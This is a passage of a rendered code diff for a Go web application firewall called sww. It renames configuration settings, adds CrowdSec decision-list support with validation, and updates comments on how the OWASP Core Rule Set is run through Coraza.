LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool
LogRemoteBuffer int
LogRemoteFacility int
LogRemoteAppName string
// AlertWebhookURL is where each alert is posted as JSON
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
@@ -289,19 +285,19 @@ type WAF struct {
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
// and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while
// it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths
// of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched
// netblocks (SWW_WAF_ANOMALY_WATCHED_NETS).
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
// (SWW_WAF_WATCH_NETS).
AnomalyClient anomaly.Thresholds
AnomalyNet anomaly.Thresholds
AnomalyASN anomaly.Thresholds
AnomalyTotal anomaly.Thresholds
AnomalyWatchedNet anomaly.Thresholds
AnomalyWatch anomaly.Thresholds
AnomalyNetV4Prefix int
AnomalyNetV6Prefix int
AnomalyWatchedNets []anomaly.NamedNetblock
WatchNets []anomaly.NamedNetblock
// settings are the values read, as given or by default, and the
// files they were read from, for the log line at start.
@@ -310,12 +306,12 @@ type WAF struct {
// The values of SWW_WAF_CORE_RULE_SET_MODE.
const (
// CoreRuleSetModeOff runs no request through the Core Rule Set.
CoreRuleSetModeOff = off
// CoreRuleSetModeDetect logs and alerts a match, and refuses nothing.
CoreRuleSetModeDetect = "detect"
// CoreRuleSetModeBlock refuses a match with 403.
CoreRuleSetModeBlock = "block"
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
@@ -383,10 +379,10 @@ var (
"is not a name, = and a netblock, such as office=203.0.113.0/24")
errNotAbsolutePath = errors.New(
"is not an absolute path, such as /var/lib/sww")
errShortToken = errors.New("is shorter than 32 characters")
errNotMode = errors.New("is not enforce or observe")
errNotBytesCounted = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
errShortToken = errors.New("is shorter than 32 characters")
errNotMode = errors.New("is not enforce or observe")
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
@@ -400,11 +396,9 @@ var (
errNotApp = errors.New(
"is not an app sww has fixes for; the apps are",
)
errNotCoreRuleSetMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New(
"is not a paranoia level, from 1 to 4",
)
errNotRuleID = errors.New(
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100",
)
errSetupRuleID = errors.New(
@@ -467,12 +461,21 @@ var (
"is not an IP address with an optional port, " +
"such as 192.0.2.53 or [2001:db8::53]:5353",
)
errNotLAPIURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080")
errNotRouteWatchURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as https://routewatch.example")
errFetchedOtherwise = errors.New(
errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New(
"it is sent only to the engine at that URL",
)
errAnotherList = errors.New(
"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too",
)
errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
errNotTagList = errors.New(
"is not a name, = and an http or https URL, such as " +
"torexit=https://example.com/tor.txt")
@@ -487,6 +490,8 @@ var (
errExploitTag = errors.New(
"cannot lower limits: the rate limits count a request before its " +
"rules are matched")
errCrowdSecTag = errors.New(
"cannot be used: a CrowdSec decision refuses the request first")
errNoRequestGetsTag = errors.New(
"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
@@ -496,7 +501,7 @@ var (
)
)
// WAFFromEnvironment reads the settings through v, normally the viper
// FromEnvironment reads the settings through v, normally the viper
// NewViper returns, bound to the process's environment. A setting may
// instead be given as a file: the variable named by the setting's name
// with _FILE added names the file, which is read now (see lookup). A
@@ -504,9 +509,9 @@ var (
// invalid is an error that names it.
//
//nolint:funlen // one line for each setting, a list that grows with them
func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
func FromEnvironment(v *viper.Viper) (*Config, error) {
env := &environment{v: v}
cfg := &WAF{
cfg := &Config{
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
InstanceName: env.instanceName(),
Observe: env.observe("SWW_WAF_MODE", "enforce"),
@@ -540,32 +545,33 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
),
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"),
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
LookupSource: env.lookupSource(
"SWW_WAF_LOOKUP_SOURCE",
"geojs",
),
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
ASNAndCountryLookupTimeout: env.milliseconds(
"SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS",
"800",
LookupTimeout: env.durationNotOff(
"SWW_WAF_LOOKUP_TIMEOUT",
"800ms",
),
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
ExclusivelyAllowedCountries: env.countries(
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
TagLists: env.tagLists("SWW_WAF_TAG_LISTS"),
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
ASNBytesLimitPercent: env.percents(
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
ASNBytesPercent: env.percents(
"SWW_WAF_ASN_BYTES_PERCENT",
ParseASN,
),
CountryBytesLimitPercent: env.percents(
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
CountryBytesPercent: env.percents(
"SWW_WAF_COUNTRY_BYTES_PERCENT",
parseCountry,
),
UnknownCountryLimitPercent: env.percent(
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
UnknownLimitPercent: env.percent(
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
"100",
),
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
@@ -579,14 +585,18 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
"900",
),
IPReputationCacheTTL: env.durationNotOff(
"SWW_WAF_IP_REPUTATION_CACHE_TTL",
ReputationCacheTTL: env.durationNotOff(
"SWW_WAF_REPUTATION_CACHE_TTL",
"24h",
),
DNSBLAbuseIPDBTimeout: env.milliseconds(
"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS",
"2000",
ReputationTimeout: env.durationNotOff(
"SWW_WAF_REPUTATION_TIMEOUT",
"2s",
),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
"SWW_WAF_CROWDSEC_LAPI_URL",
),
CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff(
"SWW_WAF_LIMIT_BAN_DURATION",
@@ -596,8 +606,8 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
"24h",
),
LimitBanPermanentAbove: env.durationNotOff(
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE",
MaxBanDuration: env.durationNotOff(
"SWW_WAF_MAX_BAN_DURATION",
"7d",
),
AttackBanDuration: env.durationNotOff(
@@ -610,12 +620,12 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_STATE_DIR",
"/var/lib/sww",
),
BansWriteDelay: env.durationNotOff(
"SWW_WAF_BANS_WRITE_DELAY",
StateWriteDelay: env.durationNotOff(
"SWW_WAF_STATE_WRITE_DELAY",
"10s",
),
StateWriteInterval: env.durationNotOff(
"SWW_WAF_STATE_WRITE_INTERVAL",
StateCounterInterval: env.durationNotOff(
"SWW_WAF_STATE_COUNTER_INTERVAL",
"15m",
),
CacheDir: env.absolutePath(
@@ -626,62 +636,48 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range",
),
LogLevel: env.logLevel(
"SWW_WAF_LOG_LEVEL",
"info",
),
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
MetricsBusiestCountriesAndASNs: env.numberNotOff(
"SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS",
"50",
),
RuleFilesDir: env.value(
"SWW_WAF_RULE_FILES_DIR",
"/etc/sww/rules.d",
),
RuleFilesEnabled: env.boolean(
"SWW_WAF_RULE_FILES_ENABLED",
"true",
),
CoreRuleSetMode: env.coreRuleSetMode(
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode(
"SWW_WAF_CORE_RULE_SET_MODE",
CoreRuleSetModeBlock,
WAFModeBlock,
),
CoreRuleSetParanoiaLevel: env.paranoiaLevel(
WAFParanoiaLevel: env.paranoiaLevel(
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
"1",
),
CoreRuleSetScoreThreshold: env.numberOrOff(
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
WAFAnomalyThreshold: env.numberOrOff(
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
"5",
),
CoreRuleSetDisabledRules: env.ruleIDs(
"SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140",
),
CoreRuleSetExemptPaths: env.pathPrefixes(
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes(
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
"",
),
CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize(
"SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE",
WAFBodyLimit: env.wafBodyLimit(
"SWW_WAF_CORE_RULE_SET_BODY_LIMIT",
off,
),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_WAF_APPS"),
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
RefusalsLimitPerMinute: env.count(
"SWW_WAF_REFUSALS_LIMIT_PER_MINUTE",
ErrorBurstThreshold: env.count(
"SWW_WAF_ERROR_BURST_THRESHOLD",
"30",
),
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates(
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
),
LogRemoteBufferLines: env.numberNotOff(
"SWW_WAF_LOG_REMOTE_BUFFER_LINES",
LogRemoteBuffer: env.numberNotOff(
"SWW_WAF_LOG_REMOTE_BUFFER",
"10000",
),
LogRemoteFacility: env.facility(
@@ -704,11 +700,11 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_ALERT_MAX_PER_HOUR",
"60",
),
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"),
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
AnomalyNetV4Prefix: env.v4Prefix(
"SWW_WAF_ANOMALY_NET_V4_PREFIX",
"24",
@@ -717,25 +713,21 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_ANOMALY_NET_V6_PREFIX",
"48",
),
AnomalyWatchedNets: env.namedNetblocks(
"SWW_WAF_ANOMALY_WATCHED_NETS",
),
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
}
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
cfg.InstanceName, cfg.LogRemoteURL != nil)
// The app gets the headers by default, unless no client is looked up.
cfg.AddLookupHeaders = env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS",
strconv.FormatBool(cfg.LookupSource != off))
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
"SWW_WAF_BLOCKLIST_ACTION", "deny")
cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action(
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25")
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
"SWW_WAF_REPUTATION_ACTION", "limit:25")
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
env.checkLookupDBPath(cfg)
env.checkCountriesAndLookups(cfg)
env.checkASNLimitPercentURL(cfg)
env.checkCrowdSec(cfg)
env.checkTagLists(cfg)
env.checkTags(cfg)
@@ -749,7 +741,7 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
}
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
// file, as WAFFromEnvironment does. The health check in waf's container needs
// file, as FromEnvironment does. The health check in waf's container needs
// no other setting, so it reads no other, nor a file that another names.
func WAFListenAddr(v *viper.Viper) (string, error) {
env := &environment{v: v}
@@ -759,18 +751,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) {
}
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
// file, as WAFFromEnvironment does, so that the line saying a setting is
// file, as FromEnvironment does, so that the line saying a setting is
// invalid carries it too. A file that cannot be read gives the default
// here, and WAFFromEnvironment then stops the start over it.
// here, and FromEnvironment then stops the start over it.
func InstanceName(v *viper.Viper) string {
env := &environment{v: v}
return env.instanceName()
}
// LogValue makes a WAF log as each setting's name with the value it was
// LogValue makes a Config log as each setting's name with the value it was
// given, or its default.
func (c *WAF) LogValue() slog.Value {
func (c *Config) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
@@ -803,14 +795,10 @@ func (e *environment) duration(name, defaultValue string) time.Duration {
return duration
}
// coreRuleSetBodyInspectionSize reads the setting that is the most of a
// request body the Core Rule Set reads.
func (e *environment) coreRuleSetBodyInspectionSize(
name, defaultValue string,
) int64 {
limit, err := parseCoreRuleSetBodyInspectionSize(
e.value(name, defaultValue),
)
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
@@ -824,12 +812,12 @@ func (e *environment) count(name, defaultValue string) int64 {
return count
}
// bytesCounted reads the setting that is which body bytes count toward the
// byte limits and the byte anomaly thresholds: response, request or both.
func (e *environment) bytesCounted(name, defaultValue string) string {
// bytesCount reads the setting that is which body bytes count toward the
// byte limits: response, request or both.
func (e *environment) bytesCount(name, defaultValue string) string {
value := e.value(name, defaultValue)
if value != "response" && value != "request" && value != "both" {
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted))
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount))
}
return value
@@ -871,13 +859,12 @@ func (e *environment) trapPaths(name string) []string {
return paths
}
// coreRuleSetMode reads the setting that is what the Core Rule Set does: off,
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) coreRuleSetMode(name, defaultValue string) string {
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect &&
mode != CoreRuleSetModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode))
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
@@ -1041,6 +1028,26 @@ func (e *environment) resolver(name string) netip.AddrPort {
return resolver
}
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
// its decision list is fetched from, that URL with v1/decisions added to
// its path, "" while it is unset or empty.
func (e *environment) crowdSecDecisionsURL(name string) string {
value := e.value(name, "")
if value == "" {
return ""
}
lapi, err := url.Parse(value)
if err != nil || !isHTTPURL(lapi) {
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
return ""
}
return lapi.JoinPath("v1", "decisions").String()
}
// routeWatchURL reads the setting that is the URL of a routewatch instance,
// "" while it is unset or empty.
func (e *environment) routeWatchURL(name string) string {
@@ -1071,7 +1078,7 @@ func (e *environment) lookupSource(name, defaultValue string) string {
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
// one source at a time.
func (e *environment) checkLookupDBPath(cfg *WAF) {
func (e *environment) checkLookupDBPath(cfg *Config) {
switch {
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
@@ -1093,9 +1100,9 @@ func (e *environment) checkLookupDBPath(cfg *WAF) {
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
// an asn= or country= tag, the biased thresholds,
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
// limit, and the anomaly thresholds per AS number.
func (e *environment) checkCountriesAndLookups(cfg *WAF) {
func (e *environment) checkCountriesAndLookups(cfg *Config) {
for _, country := range cfg.ExclusivelyAllowedCountries {
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
@@ -1122,9 +1129,9 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
{"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0},
{"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100},
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
@@ -1143,19 +1150,46 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
// blocklist too: the file at a URL is fetched as one list or the other.
func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
}
}
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w",
errNeedsLAPIKey,
))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w",
errLAPIKeyUnused,
))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check(
"SWW_WAF_CROWDSEC_LAPI_URL",
fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList),
)
}
}
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
// another list too: the file at a URL is read as one kind of list.
func (e *environment) checkTagLists(cfg *WAF) {
func (e *environment) checkTagLists(cfg *Config) {
for _, list := range cfg.TagLists {
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
list.URL == cfg.ASNLimitPercentURL {
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
e.check(
"SWW_WAF_TAG_LISTS",
fmt.Errorf("%q %w", list.URL, errFetchedOtherwise),
@@ -1165,8 +1199,9 @@ func (e *environment) checkTagLists(cfg *WAF) {
}
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
// never apply: any tag these settings cannot give a request.
func (e *environment) checkTags(cfg *WAF) {
// never apply: crowdsec, whose request is refused before tags are acted on, and
// any tag these settings cannot give a request.
func (e *environment) checkTags(cfg *Config) {
for _, tag := range cfg.TagDeny {
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
}
@@ -1177,7 +1212,11 @@ func (e *environment) checkTags(cfg *WAF) {
}
// checkTag returns an error when tag would never apply, as checkTags says.
func checkTag(cfg *WAF, tag string) error {
func checkTag(cfg *Config, tag string) error {
if tag == CrowdSecTag {
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
}
if !requestCanGetTag(cfg, tag) {
return fmt.Errorf("%q %w", MaskZoneKey(tag), errNoRequestGetsTag)
}
@@ -1186,17 +1225,17 @@ func checkTag(cfg *WAF, tag string) error {
}
// requestCanGetTag reports whether anything cfg sets up can give a request tag.
func requestCanGetTag(cfg *WAF, tag string) bool {
func requestCanGetTag(cfg *Config, tag string) bool {
isListName := func(list TagList) bool { return list.Name == tag }
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
return true
}
if tag == ExploitSignatureTag {
coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff &&
cfg.CoreRuleSetScoreThreshold != 0
coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
cfg.WAFAnomalyThreshold != 0
return cfg.RuleFilesEnabled || coreRuleSetOn
return cfg.RulesEnabled || coreRuleSetOn
}
if tag == AbuseIPDBTag {
@@ -1217,14 +1256,14 @@ func requestCanGetTag(cfg *WAF, tag string) bool {
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
// names an asn= or country= tag.
func (c *WAF) TagsNeedLookup() bool {
func (c *Config) TagsNeedLookup() bool {
return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
tagLimitNeedsLookups(c)
}
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
// or country= tag.
func tagLimitNeedsLookups(cfg *WAF) bool {
func tagLimitNeedsLookups(cfg *Config) bool {
for tag := range cfg.TagLimitPercent {
if isLookupTag(tag) {
return true
@@ -1600,10 +1639,10 @@ func durationOrDays(value string) (time.Duration, error) {
return time.Duration(n) * day, nil
}
// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
// gets no more of a body than that.
func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) {
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
@@ -1938,6 +1977,7 @@ const (
DNSBLTagPrefix = "dnsbl="
PrefixTagPrefix = "prefix="
AbuseIPDBTag = "abuseipdb"
CrowdSecTag = "crowdsec"
// ExploitSignatureTag is the tag of a request a rule file or the Core
// Rule Set matched.
ExploitSignatureTag = "exploitsignature"
File diff suppressed because it is too large. Load diff
+31 -33
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
// detection" under "Settings" in SPEC.md describes them. It reads no response.
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -34,8 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
// the second, and the directives of every app in apps for the third.
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
// and the directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
@@ -43,7 +43,7 @@ import (
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
@@ -224,10 +224,9 @@ type Params struct {
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
DisabledRules []int
// BodyInspectionSize is the most of a request body the Core Rule Set
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
// and it reads none.
BodyInspectionSize int64
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
@@ -337,8 +336,8 @@ func checkExclusions(exclusions string) error {
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyInspectionSize int64
engine coraza.WAF
bodyLimit int64
// appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string
